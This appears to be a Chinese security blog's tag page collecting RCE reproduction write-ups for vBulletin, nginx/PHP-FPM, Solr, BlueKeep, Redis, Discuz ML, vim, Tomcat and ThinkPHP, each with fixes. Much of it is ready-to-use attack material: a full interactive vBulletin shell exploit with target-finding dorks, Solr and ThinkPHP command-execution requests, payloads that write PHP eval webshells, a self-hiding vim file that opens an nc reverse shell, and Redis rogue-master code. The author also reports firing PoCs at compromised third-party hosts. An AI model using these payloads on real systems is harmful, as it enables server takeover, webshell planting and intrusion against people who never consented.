Tag:RCE

Tag (RCE)'s result:

vBulletin 5.x 0day pre-auth RCE漏洞重现

0x00 概述 201909 vbulletin5(5.0.0-5.5.4)爆出rce漏洞,利用文件ajax/render/widget_php和post参数widgetConfig[code]可直接远程代码执行。   0x01 漏洞重现 https://seclists.org/fulldisclosure/2019/Sep/31 #!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # – site:*.vbulletin.net # – “Powered by vBulletin Version 5.5.4”   import requests import sys   if len(sys.argv) != 2: sys.exit(“Usage: %s <URL to vBulletin>” % sys.argv[0])   params = {“routestring”:”ajax/render/widget_php”}   while True: try: cmd = raw_input(“vBulletin$ “) params[“widgetConfig[code]”] = “echo shell_exec(‘”+cmd+”‘); exit;” r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit(“Exploit failed! :(“) except KeyboardInterrupt: sys.exit(“\nClosing shell…”) except Exception, e: sys.exit(str(e))   0x02 检测工具 https://github.com/theLSA/vbulletin5-rce   0x03 修复方案 打补丁。    

PHP+nginx RCE(CVE-2019-11043)漏洞重现

0x00 概述 来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞。 当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。当fastcgi_split_path_info字段被配置为 ^(.+?\.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大。 Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致nginx传递给php-fpm的 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷,所以攻击者可以使用换行符(%0a)来破坏`fastcgi_split_path_info`指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。   0x01 影响范围 当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞 location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; fastcgi_pass   php:9000; … } } 5.6 crash 7 rce   0x02 漏洞重现 https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md https://github.com/neex/phuip-fpizdam //go install //go get -v //go build     https://github.com/search?q=fastcgi_split_path&type=Code 某大神分享的nextcloud案例: https://docs.nextcloud.com/server/17/admin_manual/installation/nginx.html https://www.zoomeye.org/searchResult?q=nextcloud+%2Bserver:Nginx+%2B&t=all   0x03 数据流量 据说这个exp写得十分精妙。   0x04 修复方案 根据需求,将以下配置删除 fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO       $fastcgi_path_info; or 补丁 https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest   0x05 结语 还是有不少这样配置的,影响较大。   0x06 参考资料 https://mp.weixin.qq.com/s?src=11&timestamp=1572095484&ver=1936&signature=oPmPaXehqGEgAHy6nc0mARQbu5NbL-3GTFrbcxQghC4qvehLlpE9ohw6uTuP0hwcmtOvA3mZWUXhOEImDu0*ltYMJmrMrb-ATqNxOqEMYmV7yV4ntWOQl2JYrhx4*MQ2&new=1  

apache solr velocity模板注入漏洞重现

0x00 概述 20191031 网上爆出apache solr velocity模板注入的rce漏洞,该漏洞由国外安全研究员s00py公开,当solr默认插件VelocityResponseWrite中params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。 //如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true 影响范围在solr 5.x – 8.2.0  (with config api)   0x01 漏洞重现 solr-spec 6.6.1 先利用未授权修改params.resource.loader.enabled参数值为true POST /solr/test/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” } } 再 GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: localhost:8983   0x02 检测工具 https://github.com/theLSA/solr-rce   0x03 防御方案 1.配置授权访问solr控制台。 2.配置文件configoverlay.json设置只读   0x04 参考资料 https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

CVE-2019-0708 RDP RCE漏洞重现(20190907-MSF-EXP)

0x00 概述 前情提要RDP RCE(CVE-2019-0708)集锦 20190907 msf更新cve-2019-0708的exp,瞬间一片震动,经测试,该exp在特定条件下可用。   0x01 影响范围 Target: 0 Automatic targeting via fingerprinting 1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) 2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – Virtualbox) 3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – VMWare) 4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – Hyper-V)   0x02 漏洞重现 1.环境:msf5.0.46dev,vm12.5.7,nat,win7旗舰版x64sp1-7601(cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso)开启3389,reload_all 修改后的4个rb文件,target 2。 cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/ rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 2. 环境 cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_x64_dvd_617598.iso 不改注册表   修改注册表 //HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam为0 未发现该注册表键值,手动增加并设置0 还是蓝屏   注: 2008r2withsp1 english standard需要修改注册表[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam]值修改为0。 打一次要重启靶机一次否则可能会失败。 Windows 2008 r2据说很多都蓝屏…… 更新msf到最新。 调低核心数如2核心2g/1核1g……(多核竞争?) 关闭自动更新防止自动打补丁影响测试。   0x03 结语 目前这个exp如果要利用成功,限制过多,如操作系统版本号,平台,安全设备等诸多因素会影响,估计实战成功率不高,不过这已经是一个大飞跃,预计不久后会有更完善的exp出现。 蠕虫正步步紧逼……   0x04 参考资料 https://github.com/rapid7/metasploit-framework/pull/12283 https://blog.rapid7.com/2019/09/06/initial-metasploit-exploit-module-for-bluekeep-cve-2019-0708/

利用redis主从进行RCE

0x00 概述 redis常见利用未授权访问漏洞,参考redis未授权访问漏洞利用 现在还可以利用redis的主从特性进行RCE,详情参考ppt 影响redis4和5。   0x01 重现 环境: 受害机: docker run –name redis5-alpine -d -v $PWD:/data –restart=always -p 6379:6379 hareemca123/redis5:alpine 或者 docker run –name redis4-6379 -p 6379:6379 -d redis:4.0 攻击机: 利用脚本 https://github.com/jas502n/Redis-RCE   0x02 原理 主从握手机制见下图 //此图源自网络 攻击大概流程: 创建一个恶意的redis服务器master,用来发送执行命令的module(exp_lin.so) 关键代码: def handle(self, data): resp = “” phase = 0 if data.find(“PING”) > -1: resp = “+PONG” + CLRF phase = 1 elif data.find(“REPLCONF”) > -1: resp = “+OK” + CLRF phase = 2 elif data.find(“PSYNC”) > -1 or data.find(“SYNC”) > -1: resp = “+FULLRESYNC ” + “Z” * 40 + ” 0″ + CLRF resp += “$” + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase 2. 在受害redis上将恶意redis设置为master:SLAVEOF vps port。 关键代码: print(“[*] Sending SLAVEOF command to server”) remote.do(“SLAVEOF {} {}”.format(lhost, lport)) back = remote._sock.getsockname() print(“\033[92m[+]\033[0m Accepted connection from {}:{}”.format(back[0], back[1])) 3. 在受害redis设置dbfilename和dir。 关键代码: print(“[*] Setting filename”) remote.do(“CONFIG SET dir /tmp/”) remote.do(“CONFIG SET dbfilename {}”.format(expfile)) 4. 通过同步将module写入受害redis磁盘上:+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload> 关键代码: class RogueServer: def __init__(self, lhost, lport): self._host = lhost self._port =……

discuz ml RCE漏洞重现及分析

0x00 概述 7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。   0x01 影响范围 Discuz!ML v.3.4 , Discuz!ML v.3.2 , Discuz!ML v.3.3 product of codersclub.org   0x02 漏洞重现 http://xxx.org/discuzx/portal.php select english or other language   让请求cookie含有xxxx_xxxx_language visit http://xxx.org/discuzx/portal.php again change:4gH4_0df5_language=en’.phpinfo().’; or 4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;   getshell LSmZ_2132_language=es’.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.’;     0x03 检测工具 https://github.com/theLSA/discuz-ml-rce   0x04 漏洞分析 Discuz ml v3.4 为例 dizcuz-ml-34\upload\source\module\portal\portal_index.php:32 include_once template(‘diy:portal/index’); 包含了template函数渲染的文件 进入template函数看看 dizcuz-ml-34\upload\source\function\function_core.php:524 /*vot*/ $cachefile = ‘./data/template/’.DISCUZ_LANG.’_’.(defined(‘STYLEID’) ? STYLEID.’_’ : ‘_’).$templateid.’_’.str_replace(‘/’, ‘_’, $file).’.tpl.php’; if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).’.php’) && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.’.htm’))) { $tplfile = ‘./template/default/’.$filebak.’.htm’; } if($gettplfile) { return $tplfile; } checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file); return DISCUZ_ROOT.$cachefile; 返回了缓存文件名 根据poc可知是language可控,那就是DISCUZ_LANG可控了。 再看看在哪里赋值 dizcuz-ml-34\upload\source\class\discuz\discuz_application.php:304 // set language from cookies   if($this->var[‘cookie’][‘language’]) {   $lng = strtolower($this->var[‘cookie’][‘language’]); 从cookie-language取值给$lng 338 $this->var[‘oldlanguage’] = $lng; // Store Old Language Value for compare   // define DISCUZ_LANG define(‘DISCUZ_LANG’, $lng);   // set new language to cookie dsetcookie(‘language’, $lng);   // set new language variables $this->var[‘language’] = $lng; $lng赋值给了DISCUZ_LANG 根据poc q3KZ_2132_language=sc’.system(‘whoami’).’; 最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’; 包含闭合引号导致执行了代码。 /× 执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887 ×/   0x05 防御方案 1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all 2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。 3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。   0x06 结语 Easy to rce!……

microsoft notepad和linux vim/neovim的RCE漏洞

0x00 notepad rce 20190528,Google Project Zero研究员Tavis Ormandy宣布在微软的记事本中发现代码执行漏洞。 从他发布的图片看有看出,成功在记事本进程下启动cmd shell。 由于漏洞披露原则,暂未公开具体漏洞细节。   0x01 vim/neovim rce 1周后,20190604,vim也被曝出rce…… 名为Arminius的安全研究员发现vim/neovim的本地任意代码执行漏洞,poc和exp已公开: 影响范围:Vim < 8.1.1365, Neovim < 0.3.6 https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md //建议直接用原作者的poc和exp,复制和修改可能会失败! POC: poc.txt :!uname -a||” vi:fen:fdm=expr:fde=assert_fails(“source\!\ \%”):fdl=0:fdt=”   :set modeline $ vim poc.txt EXP: exp.txt: \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 7766 -e bash &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n //这里用cat还是能看出来一点exp,可能是编辑器或者win7系统的原因 打开即可成功反弹shell,并覆写文件以隐藏,cat exp.txt看不出(加-v可以看出)     0x02 修复方案   vim补丁8.1.1365 https://github.com/vim/vim/commit/5357552 neovim补丁(在v0.3.6中发布) https://github.com/neovim/neovim/pull/10082 https://github.com/neovim/neovim/releases/tag/v0.3.6   在vimrc中禁用modeline(设置nomodeline),使用securemines插件,或禁用modelineexpr(从8.1.1366补丁开始,仅支持vim)以禁用modeline中的表达式。   0x03 结语 钓鱼妙招!   0x04 参考资料 https://mp.weixin.qq.com/s/f4s7x5MciLDFirSNLlBh3Q

RDP RCE(CVE-2019-0708)集锦

//Really DO Patch ^_^ 0x00 概述 20190514,微软发布补丁,修复了一个严重的漏洞-rdp远程代码执行。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。   0x01影响范围 Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP   0x02 漏洞重现 poc已出,重现几个网上主流的poc: 1)360的0708detector.exe(无损扫描工具) //感觉不是很稳定,对同个ip有时成功有时不成功…… 一些根据此工具写的批量 https://github.com/biggerwing/CVE-2019-0708-poc https://github.com/autoing/CVE-2019-0708-POC   2)https://github.com/zerosum0x0/CVE-2019-0708 包含了msf的rb git clone https://github.com/zerosum0x0/CVE-2019-0708.git cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/ ./bootstrap ./configure –disable-credssp –disable-smartcard make ./rdesktop 192.168.1.7:3389 可能要apt-get install libssl1.0.0 libssl-dev 用scan_with_docker.py可以批量 //较稳定   3)https://github.com/Ekultek/BlueKeep.git 可以批量 先安装impacket https://github.com/SecureAuthCorp/impacket pip install -r requestments.txt pip install . vim bluekeep_poc.py 删除重复的一个impacket   4)https://github.com/robertdavidgraham/rdpscan 可批量 //较不稳定   5)https://github.com/Leoid/CVE-2019-0708 pip3 install impacket 6)https://github.com/n1xbyte/CVE-2019-0708 //20190531新增蓝屏poc,用03standx86测试出现 OpenSSL.SSL.SysCallError: (104, ‘ECONNRESET’) 应该是这个03系统问题 直接找几个僵尸主机测一测 //效果不错! 7)https://github.com/closethe/CVE-2019-0708-POC 试了几个都是timed out,可能是poc未完善…… 其他一些poc(未测试): https://github.com/skyshell20082008/CVE-2019-0708-PoC-Hitting-Path https://github.com/blacksunwen/CVE-2019-0708(和5基本一样) https://github.com/Jaky5155/cve-2019-0708-exp https://github.com/fourtwizzy/CVE-2019-0708-Check-Device-Patch-Status https://github.com/trickster0/CVE-2019-0708 https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit(powershell)   截至发文(20190605),尚未发现公开可用exp,拭目以待! 360的某大神已搞出exp,能在win7 x64弹框了,未公开。   20190606,发现msf可获取meterpreter的exp,未公开。 https://twitter.com/zerosum0x0/status/1135866953996820480   /* 还有一堆假exp,利用ms12-020、os.system()、alert、假GUI、骗star等等。 www.cve-2019-0708.com(20190529无法访问了)据说是假的! */   0x03 漏洞分析   rdp基础 RDP 协议基于 T.128(T.120 协议族)提供多通道通信,并进行了拓展。 远程桌面协议(RDP)支持客户端建立点到点的连接,并定义了通信双方在虚拟通道间的数据通信方式,。这种虚拟通道为双向数据通道,可以扩展RDP的功能。Windows Server 2000在RDP v5.1中定义了32种静态虚拟通道(SVC),但是因为将来要定义的动态虚拟通道数量的限制,因此专用的通道svc数量受到一定限制。SVC是在会话开始时创建的,并在会话终止前保持不变,但DVC不同,因为它是根据用户需求来创建和删除的。 服务端在初始化阶段,会创建MS_T120, Index 为 31 的通道。在收到MCS Connect Initial数据封包后进行通道创建和绑定操作。 在IcaBindVirtualChannels函数中进行绑定时,IcaFindChannelByName函数只根据通道名进行通道查找。当通道名为MS_T120(不区分大小写)时,会找到系统内部通道 MS_T120的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。 参考mcafee,seebug   本人用win7sp1 x64进行测试 查看termdd.sys,有修改 对比补丁前后 13628这个子模块变化比较大,先看看 发现加了stricmp比较,和ms_t120这个通道比较,为0就用写死的v19即31(rdp通道编号)作为第三个参数传入13ec8这个子模块,所以这里可以看出漏洞点应该是ms_t120这个通道,是就触发漏洞。 //bindiff没解析出_IcaBindChannel和_IcaBindVirtualChannels。 在安全机制启用前,系统初始化了RDP连接序列,并完成通道的建立,这导致了该漏洞可形成蠕虫。 在rdp的gcc协商初始化序列中,ms_t120这个svc会被绑定作为引用通道31。 这个通道编号31在microsoft内部使用,在客户端请求连接中不会出现ms_t120这个svc。 但是在GCC协商初始化的过程中,客户端提供的通道名称并不在服务器端的白名单中,这意味着攻击者将能够设置另一个名为“MS_T120”的不在编号31的SVC通道,这导致目标系统发生堆内存崩溃并实现远程代码执行。 MS_T120引用通道会在rdpwsx.dll中创建,堆内存也会在rdpwp.sys中分配内存池。当MS_T120引用通道在通道编号非31的场景下建立时,便会发生堆内存崩溃。 微软在termdd.sys的_IcaBindVirtualChannels和_IcaRebindVirtualChannels两个函数中为客户端的连接请求部分添加了针对通道名称“MS_T120”的检查代码,来保证ms_t120是和通道31进行绑定。   利用wireshark获取rdp数据包(winn2003stand without 0708 patch) 正常rdp连接: tcp三次握手后发送rdp数据,利用decode as tpkt解出rdp数据包 //第二遍tcp握手后(neg req=fff)才开始发clientdata 没有ms_t120通道信息     利用360无损检查工具发送的数据包(neg req=fff) 此处本人推测ms_t120通道编号是1,channelCount就是channelDefArray元素数,验证漏洞存在! 利用./rdesktop(第二个poc)对某僵尸主机发送的数据包: 此时推测ms_t120通道编号为2,验证漏洞存在! 利用蓝屏crashpoc.py对某僵尸主机发送的数据包: 本人才疏学浅,对rdp不甚了解,只能从浅层大概分析,高手可参考相关分析资料。 相关分析资料: 英文: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/(推荐) https://medium.com/@straightblast426/a-debugging-primer-with-cve-2019-0708-ccfa266682f6 https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/ https://www.malwaretech.com/2019/05/analysis-of-cve-2019-0708-bluekeep.html……

tomcat rce漏洞重现(cve-2019-0232)

0x00 概述 2019.4,网上曝出出tomcat rce漏洞(cve-2019-0232),该漏洞是由于Tomcat CGI(jre)将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入,本文对此漏洞进行重现。 0x01 影响范围 Apache Tomcat 9.0.0.M1 to 9.0.17 Apache Tomcat 8.5.0 to 8.5.39 Apache Tomcat 7.0.0 to 7.0.93   0x02 漏洞重现 环境 tomcat 8.5.39/9.0.12+java 8u171 conf/web.xml 注意要去掉注释!!! 第六行web-inf/cgi-bin!!!(默认是web-inf/cgi,涉及访问路径) conf/context.xml Context 添加privileged=”true” 编写bat文件 重现成功! whoami和net user都空白,应该是权限不足。   0x03 结语 好鸡肋的漏洞,不仅要修改默认配置,还要传bat……(理论型漏洞如12615)   0x04 修复方案 升级到v9.0.19(增加了校验命令行参数) 不要乱改配置(除非你知道自己在干嘛……)   0x05 参考资料 https://xz.aliyun.com/t/4875 http://26.wf/?p=375

ThinkPHP5 RCE漏洞重现及分析

0x00 概述 近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。 0x01 影响范围 5.x < 5.1.31 5.x < 5.0.23 以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。 shodan一下:   0x02 漏洞重现 win7+thinkphp5.1.24 (1)执行phpinfo /index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’   debian+thinkphp5.1.30 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?> win7+thinkphp5.0.16 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>   0x03 修复方案 直接git/composer更新 手工修复 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   如果改完后404,尝试修改正则,加上\/ if (!preg_match(‘/^[A-Za-z\/](\w|\.)*$/’, $controller)) {   0x04 漏洞分析 Thinkphp5.1.24: 先看补丁: 对controller添加了过滤 查看路由调度: Module.php:83 public function exec() { // 监听module_init $this->app[‘hook’]->listen(‘module_init’);   try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig(‘url_controller_layer’), $this->rule->getConfig(‘controller_suffix’), $this->rule->getConfig(’empty_controller’)); } catch (ClassNotFoundException $e) { throw new HttpException(404, ‘controller not exists:’ . $e->getClass()); } …… $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);   return $this->autoResponse($data); }); $instance = $this->app->controller 实例化控制器以调用其中的方法 查看controller方法 App.php:719 public function controller($name, $layer = ‘controller’, $appendSuffix = false, $empty = ”) { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);   if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {……